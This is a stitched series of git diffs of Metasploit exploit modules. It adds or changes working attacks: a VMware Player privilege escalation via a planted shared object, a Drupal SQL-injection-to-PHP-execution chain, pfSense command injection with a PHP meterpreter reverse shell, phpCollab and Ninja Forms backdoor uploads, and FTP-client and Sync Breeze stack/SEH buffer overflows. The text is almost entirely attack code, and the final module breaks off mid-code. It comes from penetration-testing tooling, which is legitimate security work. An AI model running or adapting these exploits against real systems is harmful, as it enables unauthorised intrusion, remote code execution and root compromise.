'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true ))
register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def has_prereqs?
vmplayer = cmd_exec 'which vmplayer'
if vmplayer.include? 'vmplayer'
vprint_good 'vmplayer is installed'
else
print_error 'vmplayer is not installed. Exploitation will fail.'
return false
end
gcc = cmd_exec 'which gcc'
if gcc.include? 'gcc'
vprint_good 'gcc is installed'
else
print_error 'gcc is not installed. Compiling will fail.'
return false
end
true
end
def check
unless has_prereqs?
print_error 'Target missing prerequisites'
return CheckCode::Safe
end
begin
config = read_file '/etc/vmware/config'
rescue
config = ''
end
if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
@version = Gem::Version.new $1.gsub(/\.$/, '')
vprint_status "VMware is version #{@version}"
else
print_error "Could not determine VMware version."
return CheckCode::Unknown
end
if @version < Gem::Version.new('12.5.6')
print_good 'Target version is vulnerable'
return CheckCode::Vulnerable
end
print_error 'Target version is not vulnerable'
CheckCode::Safe
end
def exploit
if check == CheckCode::Safe
print_error 'Target machine is not vulnerable'
return
end
@home_dir = cmd_exec 'echo ${HOME}'
unless @home_dir
print_error "Could not find user's home directory"
return
end
@prefs_file = "#{@home_dir}/.vmware/preferences"
fname = ".#{rand_text_alphanumeric rand(10) + 5}"
@base_dir = "#{datastore['WritableDir']}/#{fname}"
cmd_exec "mkdir #{@base_dir}"
so = %Q^
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
Original shared object code by jhorn
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>
extern char *program_invocation_short_name;
__attribute__((constructor)) void run(void) {
uid_t ruid, euid, suid;
if (getresuid(&ruid, &euid, &suid))
err(1, "getresuid");
if (ruid == 0 || euid == 0 || suid == 0) {
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
err(1, "setresxid");
system("#{@base_dir}/#{fname}.elf");
_exit(0);
}
}
^
vprint_status "Writing #{@base_dir}/#{fname}.c"
write_file "#{@base_dir}/#{fname}.c", so
vprint_status "Compiling #{@base_dir}/#{fname}.o"
output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99"
unless output == ''
print_error "Compilation failed: #{output}"
return
end
vmx = %Q|
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "8"
scsi0.present = "FALSE"
memsize = "4"
ide0:0.present = "FALSE"
sound.present = "TRUE"
sound.fileName = "-1"
sound.autodetect = "TRUE"
vmci0.present = "FALSE"
hpet0.present = "FALSE"
displayName = "#{fname}"
guestOS = "other"
nvram = "#{fname}.nvram"
virtualHW.productCompatibility = "hosted"
gui.exitOnCLIHLT = "FALSE"
powerType.powerOff = "soft"
powerType.powerOn = "soft"
powerType.suspend = "soft"
powerType.reset = "soft"
floppy0.present = "FALSE"
monitor_control.disable_longmode = 1
|
vprint_status "Writing #{@base_dir}/#{fname}.vmx"
write_file "#{@base_dir}/#{fname}.vmx", vmx
vprint_status "Writing #{@base_dir}/#{fname}.elf"
write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe
vprint_status "Setting #{@base_dir}/#{fname}.elf executable"
cmd_exec "chmod +x #{@base_dir}/#{fname}.elf"
asoundrc = %Q|
hook_func.pulse_load_if_running {
lib "#{@base_dir}/#{fname}.so"
func "conf_pulse_hook_load_if_running"
}
|
vprint_status "Writing #{@home_dir}/.asoundrc"
write_file "#{@home_dir}/.asoundrc", asoundrc
vprint_status 'Disabling VMware hint popups'
unless directory? "#{@home_dir}/.vmware"
cmd_exec "mkdir #{@home_dir}/.vmware"
@remove_prefs_dir = true
end
if file? @prefs_file
begin
prefs = read_file @prefs_file
rescue
prefs = ''
end
end
if prefs.blank?
prefs = ".encoding = \"UTF8\"\n"
prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
prefs << "hints.hideAll = \"TRUE\"\n"
@remove_prefs_file = true
elsif prefs =~ /hints\.hideAll/i
prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
else
prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
end
vprint_status "Writing #{@prefs_file}"
write_file "#{@prefs_file}", prefs
print_status 'Launching VMware Player...'
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
end
def cleanup
print_status "Removing #{@base_dir} directory"
cmd_exec "rm '#{@base_dir}' -rf"
print_status "Removing #{@home_dir}/.asoundrc"
cmd_exec "rm '#{@home_dir}/.asoundrc'"
if @remove_prefs_dir
print_status "Removing #{@home_dir}/.vmware directory"
cmd_exec "rm '#{@home_dir}/.vmware' -rf"
elsif @remove_prefs_file
print_status "Removing #{@prefs_file}"
cmd_exec "rm '#{@prefs_file}' -rf"
end
end
def on_new_session(session)
# if we don't /bin/sh here, our payload times out
session.shell_command_token '/bin/sh'
super
end
end

View File

@ -16,40 +16,155 @@ class MetasploitModule < Msf::Exploit::Remote
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
in 7.32).
Two methods are available to trigger the PHP payload on the target:
- set TARGET 0:
Form-cache PHP injection method (default).
This uses the SQLi to upload a malicious form to Drupal's cache,
then trigger the cache entry to execute the payload using a POP chain.
- set TARGET 1:
User-post injection method.
This creates a new Drupal user, adds it to the administrators group,
enable Drupal's PHP module, grant the administrators the right to
bundle PHP code in their post, create a new post containing the
payload and preview it to trigger the payload execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'SektionEins', # discovery
'Christian Mehlmauer', # msf module
'Brandon Perry' # msf module
'WhiteWinterWolf', # form-cache PHP injection method
'Christian Mehlmauer', # user-post PHP injection method
'Brandon Perry' # user-post PHP injection method
],
'References' =>
[
['CVE', '2014-3704'],
['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html'],
['URL', 'https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['Drupal 7.0 - 7.31',{}]],
'Targets' =>
[
['Drupal 7.0 - 7.31 (form-cache PHP injection method)', {}],
['Drupal 7.0 - 7.31 (user-post PHP injection method)', {}]
],
'DisclosureDate' => 'Oct 15 2014',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
])
[
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
])
register_advanced_options(
[
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
])
[
OptInt.new('Wait', [true, "Number of seconds to wait before triggering the payload sent (form-cache method only).", 5]),
OptString.new('ADMIN_ROLE', [ true, "The administrator role (user-post method only)", 'administrator']),
OptInt.new('Iter', [ true, "Hash iterations (2^ITER, user-post method only))", 10])
])
end
##
# Form-cache PHP injection method
##
def sql_insert(id, value)
curlyopen = rand_text_alphanumeric(8)
curlyclose = rand_text_alphanumeric(8)
value.gsub!('{', curlyopen)
value.gsub!('}', curlyclose)
"INSERT INTO {cache_form} (cid, data, expire, created, serialized) " \
+ "VALUES ('#{id}', REPLACE(REPLACE('#{value}', '#{curlyopen}', " \
+ "CHAR(#{'{'.ord})), '#{curlyclose}', CHAR(#{'}'.ord})), -1, 0, 1);"
end
def exploit_formcache
form_build_id = 'form-' + rand_text_alphanumeric(43)
# Remove the malicious cache entries upon success.
evalstr = "cache_clear_all(array('form_" + form_build_id + "', " \
+ "'form_state_" + form_build_id + "'), 'cache_form');"
evalstr << payload.encoded
evalstr = Rex::Text.encode_base64(evalstr)
# '<?php' tag required by php_eval().
evalstr = "<?php eval(base64_decode(\\'#{evalstr}\\'));"
# Don't count the backslashes.
evalstr_len = evalstr.length - 2
# Serialized malicious form state.
# The PHP module may be disabled (and should be).
# Load its definition manually to get access to php_eval().
state = 'a:1:{s:10:"build_info";a:1:{s:5:"files";a:1:{'
state << 'i:0;s:22:"modules/php/php.module";'
state << '}}}'
# Initiates a POP chain in includes/form.inc:1850, form_builder()
form = 'a:6:{'
form << 's:5:"#type";s:4:"form";'
form << 's:8:"#parents";a:1:{i:0;s:4:"user";}'
form << 's:8:"#process";a:1:{i:0;s:13:"drupal_render";}'
form << 's:16:"#defaults_loaded";b:1;'
form << 's:12:"#post_render";a:1:{i:0;s:8:"php_eval";}'
form << 's:9:"#children";s:' + evalstr_len.to_s + ':"' + evalstr + '";'
form << '}'
# SQL injection key lines:
# - modules/user/user.module:2149, user_login_authenticate_validate()
# - includes/database/database.inc:745, expandArguments()
sql = sql_insert('form_state_' + form_build_id, state)
sql << sql_insert('form_' + form_build_id, form)
# Causes PHP script to timeout, avoiding payload logging.
sql << 'SELECT SLEEP(666);'
# Use the login form to inject the malicious cache entry.
# '!' follows redirects, used by some Drupal sites to enforce clean URLs.
# Don't check the return code as it *will* timeout.
send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'vars_post' => {
# Don't use 'user_login_block' as it may be disabled.
'form_id' => 'user_login',
'form_build_id' => '',
"name[0;#{sql}#]" => '',
# This field must be located *after* the injection.
"name[0]" => '',
'op' => 'Log in',
'pass' => Rex::Text.rand_text_alpha(8)
},
'vars_get' => {
'q' => 'user/login'
}
}, timeout=datastore['Wait'])
# Trigger the malicious cache entry using its form ID.
send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'vars_post' => {
'form_id' => 'user_login',
"form_build_id" => form_build_id,
"name" => Rex::Text.rand_text_alpha(10),
'op' => 'Log in',
'pass' => Rex::Text.rand_text_alpha(10)
},
'vars_get' => {
'q' => 'user/login'
}
})
end
##
# User-post PHP injection method
##
def uri_path
normalize_uri(target_uri.path)
end
@ -59,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def iter
datastore['ITER']
datastore['Iter']
end
def itoa64
@ -133,7 +248,7 @@ class MetasploitModule < Msf::Exploit::Remote
return form_build_id, form_token
end
def exploit
def exploit_newuser
# TODO: Check if option admin_role exists via admin/people/permissions/roles
@ -352,4 +467,19 @@ class MetasploitModule < Msf::Exploit::Remote
'cookie' => cookie
)
end
##
# Main
##
def exploit
case datastore['TARGET']
when 0
exploit_formcache
when 1
exploit_newuser
else
fail_with(Failure::BadConfig, "Invalid target selected.")
end
end
end

View File

@ -0,0 +1,173 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense authenticated graph status RCE',
'Description' => %q(
pfSense, a free BSD based open source firewall distribution,
version <= 2.2.6 contains a remote command execution
vulnerability post authentication in the _rrd_graph_img.php page.
The vulnerability occurs via the graph GET parameter. A non-administrative
authenticated attacker can inject arbitrary operating system commands
and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
),
'Author' =>
[
'Security-Assessment.com', # discovery
'Milton Valencia', # metasploit module <wetw0rk>
'Jared Stephens', # python script <mvrk>
],
'References' =>
[
[ 'EDB', '39709' ],
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Privileged' => 'true',
'DefaultOptions' =>
{
'SSL' => true,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Arch' => [ ARCH_PHP ],
'Payload' =>
{
'Space' => 6000,
'Compat' =>
{
'ConnectionType' => '-bind',
}
},
'Targets' => [[ 'Automatic Target', {} ]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 18, 2016',
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),
Opt::RPORT(443)
], self.class
)
end
def login
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_status("CSRF Token for login: #{csrf}")
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
}
)
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
end
if res.code == 302
vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
return res.get_cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
return nil
end
end
def detect_version(cookie)
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'GET',
'cookie' => cookie
)
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
end
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
if version
print_status("Detected pfSense #{version}, uploading intial payload")
return Gem::Version.new(version)
end
# If the device isn't fully setup, you get stuck at redirects to wizard.php
# however, this does NOT stop exploitation strangely
print_error('pfSense version not detected or wizard still enabled.')
Gem::Version.new('0.0')
end
def exploit
begin
cookie = login
version = detect_version(cookie)
filename = rand_text_alpha(rand(1..10))
# generate the PHP meterpreter payload
stager = 'echo \'<?php '
stager << payload.encode
stager << "?>\' > #{filename}"
# here we begin the encoding process to
# convert the payload to octal! Ugly code
# don't look
complete_stage = ""
for i in 0..(stager.length()-1)
if version.to_s =~ /2.2/
complete_stage << '\\'
end
complete_stage << "\\#{stager[i].ord.to_s(8)}"
end
res = send_request_cgi(
'uri' => '/status_rrd_graph_img.php',
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'database' => '-throughput.rrd',
'graph' => "file|printf '#{complete_stage}'|sh|echo",
}
)
if res && res.code == 200
print_status('Payload uploaded successfully, executing')
register_file_for_cleanup(filename)
else
print_error('Failed to upload payload...')
end
res = send_request_cgi({
'uri' => '/status_rrd_graph_img.php',
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'database' => '-throughput.rrd',
'graph' => "file|php #{filename}|echo "
}
})
disconnect
end
end
end

View File

@ -0,0 +1,104 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'phpCollab 2.5.1 Unauthenticated File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in phpCollab 2.5.1
which could be abused to allow unauthenticated users to execute arbitrary code
under the context of the web server user.
The exploit has been tested on Ubuntu 16.04.3 64-bit
},
'Author' =>
[
'Nicolas SERRA <n.serra[at]sysdream.com>', # Vulnerability discovery
'Nick Marcoccio "1oopho1e" <iremembermodems[at]gmail.com>', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-6090' ],
[ 'EDB', '42934' ],
[ 'URL', 'http://www.phpcollab.com/' ],
[ 'URL', 'https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 29 2017'
))
register_options(
[
OptString.new('TARGETURI', [ true, "Installed path of phpCollab ", "/phpcollab/"])
])
end
def check
url = normalize_uri(target_uri.path, "general/login.php?msg=logout")
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)
version = res.body.scan(/PhpCollab v([\d\.]+)/).flatten.first
vprint_status("Found version: #{version}")
unless version
vprint_status('Unable to get the PhpCollab version.')
return CheckCode::Unknown
end
if Gem::Version.new(version) >= Gem::Version.new('0')
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit
filename = '1.' + rand_text_alpha(8 + rand(4)) + '.php'
id = File.basename(filename,File.extname(filename))
register_file_for_cleanup(filename)
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload\"; filename=\"#{filename}\"")
print_status("Uploading backdoor file: #{filename}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'clients/editclient.php'),
'vars_get' => {
'id' => id,
'action' => 'update'
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res && res.code == 302
print_good("Backdoor successfully created.")
else
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
end
print_status("Triggering the exploit...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "logos_clients/" + filename)
}, 5)
end
end

View File

@ -96,6 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Executing the payload at #{payload_uri}...")
register_files_for_cleanup("#{payload_name}.php")
register_files_for_cleanup("#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
end

View File

@ -1,177 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Module::Deprecated
deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload')
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
'Description' => %(
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
an unauthenticated file upload vulnerability, allowing guests
to upload arbitrary PHP code that can be executed in the context
of the web server.
),
'License' => MSF_LICENSE,
'Author' =>
[
'James Golovich', # Discovery and disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'References' =>
[
['CVE', '2016-1209'],
['WPVDB', '8485'],
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
],
'DisclosureDate' => 'May 04 2016',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['ninja-forms', {}]],
'DefaultTarget' => 0
))
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
register_options(opts, self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def check
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
end
def enable_v3_functionality
print_status 'Enabling vulnerable V3 functionality...'
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path,
'vars_get' => { 'nf-switcher' => 'upgrade' }
)
unless res && res.code == 200
if res
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
else
fail_with(Failure::Unreachable, 'Connection timed out.')
end
end
vprint_good 'Enabled V3 functionality'
end
def disable_v3_functionality
print_status 'Disabling vulnerable V3 functionality...'
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path,
'vars_get' => { 'nf-switcher' => 'rollback' }
)
if res && res.code == 200
vprint_good 'Disabled V3 functionality'
elsif !res
print_error('Connection timed out while disabling V3 functionality')
else
print_error 'Failed to disable the vulnerable V3 functionality'
end
end
def generate_mime_message(payload_name, nonce)
data = Rex::MIME::Message.new
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
data.add_part(nonce, nil, nil, 'form-data; name="security"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
data
end
def fetch_ninja_form_nonce
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
end
form_wpnonce = res.get_hidden_inputs.first
form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce
nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
unless nonce
fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
end
nonce
end
def upload_payload(data)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
vprint_error("Server responded with status code #{res.code}") if res.code != 200
end
def execute_payload(payload_name, payload_url)
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
if !res.nil? && res.code == 404
print_error("Failed to upload the payload")
else
print_good("Executed payload")
end
end
def exploit
# Vulnerable code is only available in the version 3 preview mode, which can be
# enabled by unauthenticated users due to lack of user level validation.
enable_v3_functionality
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
# page that contains a form generated by Ninja Forms.
nonce = fetch_ninja_form_nonce
print_status("Preparing payload...")
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
data = generate_mime_message(payload_name, nonce)
print_status("Uploading payload to #{payload_url}")
upload_payload(data)
print_status("Executing the payload...")
execute_payload(payload_name, payload_url)
# Once the payload has been executed, we can disable the preview functionality again.
disable_v3_functionality
end
end

View File

@ -0,0 +1,108 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
code exeuction under the context of the user if successfully exploited.
},
'Author' =>
[
'Berk Cem Goksel', # Original exploit author
'Daniel Teixeira', # MSF module author
'sinn3r' # RCA, improved module reliability and user exp
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-15222'],
[ 'EDB', '43025' ],
],
'Payload' =>
{
'BadChars' => "\x00\x01\x0a\x10\x0d",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
],
'Privileged' => false,
'DefaultOptions' =>
{
'SRVHOST' => '0.0.0.0',
},
'DisclosureDate' => 'Oct 21 2017',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
])
end
def exploit
srv_ip_for_client = datastore['SRVHOST']
if srv_ip_for_client == '0.0.0.0'
if datastore['LHOST']
srv_ip_for_client = datastore['LHOST']
else
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
end
end
srv_port = datastore['SRVPORT']
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
super
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
print_status("#{client.peerhost} - connected")
# Let the client log in
client.get_once
print_status("#{client.peerhost} - sending 331 OK")
user = "331 OK.\r\n"
client.put(user)
client.get_once
print_status("#{client.peerhost} - sending 230 OK")
pass = "230 OK.\r\n"
client.put(pass)
# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
# is visible from the user's command prompt, which would make the buffer overflow attack too
# obvious.
sploit = "\x20"*4116
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << payload.encoded
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
sploit << "\r\n"
print_status("#{client.peerhost} - sending the malicious response")
client.put(sploit)
client.get_once
pwd = "257\r\n"
client.put(pwd)
client.get_once
end
end

View File

@ -0,0 +1,111 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Seh
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
code execution.
},
'Author' =>
[
'Tulpa', # Original exploit author
'Daniel Teixeira' # MSF module author
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '42011' ]
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x10",
},
'Platform' => 'win',
'Targets' =>
[
# p/p/r in wcmpa10.dll
[ 'Windows Universal', {'Ret' => 0x6801549F } ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'SRVHOST' => '0.0.0.0',
},
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
])
end
def exploit
srv_ip_for_client = datastore['SRVHOST']
if srv_ip_for_client == '0.0.0.0'
if datastore['LHOST']
srv_ip_for_client = datastore['LHOST']
else
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
end
end
srv_port = datastore['SRVPORT']
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
super
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
print_status("#{client.peerhost} - connected.")
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
print_status("#{client.peerhost} - Response: Sending 220 Welcome")
welcome = "220 Welcome.\r\n"
client.put(welcome)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
print_status("#{client.peerhost} - Response: sending 331 OK")
user = "331 OK.\r\n"
client.put(user)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
print_status("#{client.peerhost} - Response: Sending 230 OK")
pass = "230 OK.\r\n"
client.put(pass)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
eggoptions = { :checksum => true }
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
# "\x20"s are used to make the attack less obvious
# on the target machine's screen.
sploit = "220 \""
sploit << "\x20"*(9833 - egg.length)
sploit << egg
sploit << generate_seh_record(target.ret)
sploit << hunter
sploit << "\x20"*(576 - hunter.length)
sploit << "\" is current directory\r\n"
print_status("#{client.peerhost} - Request: Sending the malicious response")
client.put(sploit)
end
end

View File

@ -15,17 +15,18 @@ class MetasploitModule < Msf::Exploit::Remote
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
improper bounds checking of the request in HTTP GET and POST requests
sent to the built-in web server. This module has been tested
successfully on Windows 7 SP1 x86.
in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,
and v10.1.16, caused by improper bounds checking of the request in
HTTP GET and POST requests sent to the built-in web server. This
module has been tested successfully on Windows 7 SP1 x86.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira',
'Andrew Smith', # MSF support for v10.0.28
'Owais Mehtab' # Original v10.0.28 exploit
'Andrew Smith', # MSF support for v10.0.28
'Owais Mehtab', # Original v10.0.28 exploit
'Milton Valencia (wetw0rk)' # MSF support for v10.1.16
],
'DefaultOptions' =>
{
@ -53,6 +54,12 @@ class MetasploitModule < Msf::Exploit::Remote
'Offset' => 780,
'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
}
],
[ 'Sync Breeze Enterprise v10.1.16',
{
'Offset' => 2495,
'Ret' => 0x1001C65C # POP # POP # RET [libspp.dll]
}
]
],
'Privileged' => true,
@ -102,6 +109,9 @@ class MetasploitModule < Msf::Exploit::Remote
when /10\.0\.28/
print_status('Target is 10.0.28')
return targets[2]
when /10\.1\.16/
print_status('Target is 10.1.16')
return targets[3]
else
nil
end
@ -156,6 +166,34 @@ class MetasploitModule < Msf::Exploit::Remote
'password' => "rawr"
}
)
when targets[3]
target = targets[3]
eggoptions = {
checksum: true,
eggtag: rand_text_alpha(4, payload_badchars)
}
hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
eggoptions
)
sploit = payload.encoded
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length, payload_badchars)
sploit << generate_seh_record(target.ret)
sploit << hunter
# Push the payload out of this buffer, which will make the hunter look for the payload
# somewhere else that has the complete payload.
sploit << make_nops(200)
sploit << egg
